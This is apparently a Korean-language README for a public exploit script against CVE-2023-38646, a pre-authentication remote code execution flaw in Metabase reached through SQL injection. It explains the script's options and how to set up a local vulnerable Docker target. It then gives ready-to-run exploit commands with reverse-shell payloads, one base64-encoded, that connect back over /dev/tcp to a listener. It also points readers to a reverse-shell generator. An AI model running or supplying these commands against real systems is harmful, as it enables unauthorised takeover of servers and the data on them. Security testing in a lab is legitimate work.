
CVE-2023-38646 Metabase 사전 인증 RCE(원격 코드 실행)를 SQL 인젝션으로 악용하는 Python 스크립트
Metabase 사전 인증 RCE(SQL 인젝션 경유)를 악용하는 Python 스크립트
이 스크립트는 GET /api/session/properties 요청을 보내 셋업 토큰을 얻고 대상의 악용 가능 여부를 평가합니다. 취약한 경우 셋업 토큰을 출력하고, 그렇지 않으면 오류 메시지를 출력한 후 종료합니다.
-x 옵션이 사용되고 대상이 취약한 경우, 제공된 페이로드로 취약점 악용을 시도합니다.
취약점을 발견한 팀의 훌륭한 분석 글에서 더 자세한 정보를 확인할 수 있습니다. https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
필요하다면 다음 명령어를 사용해 Docker 컨테이너에서 테스트 환경을 빠르게 구성할 수 있습니다:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
http://127.0.0.1:3000/ 에 접속해 셋업을 완료하고 리스너를 실행한 후,
다음과 같이 RCE를 악용할 수 있습니다:
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
또는 revshells.com 에서 직접 base64 인코딩된 리버스 셸을 만들어 사용해도 됩니다.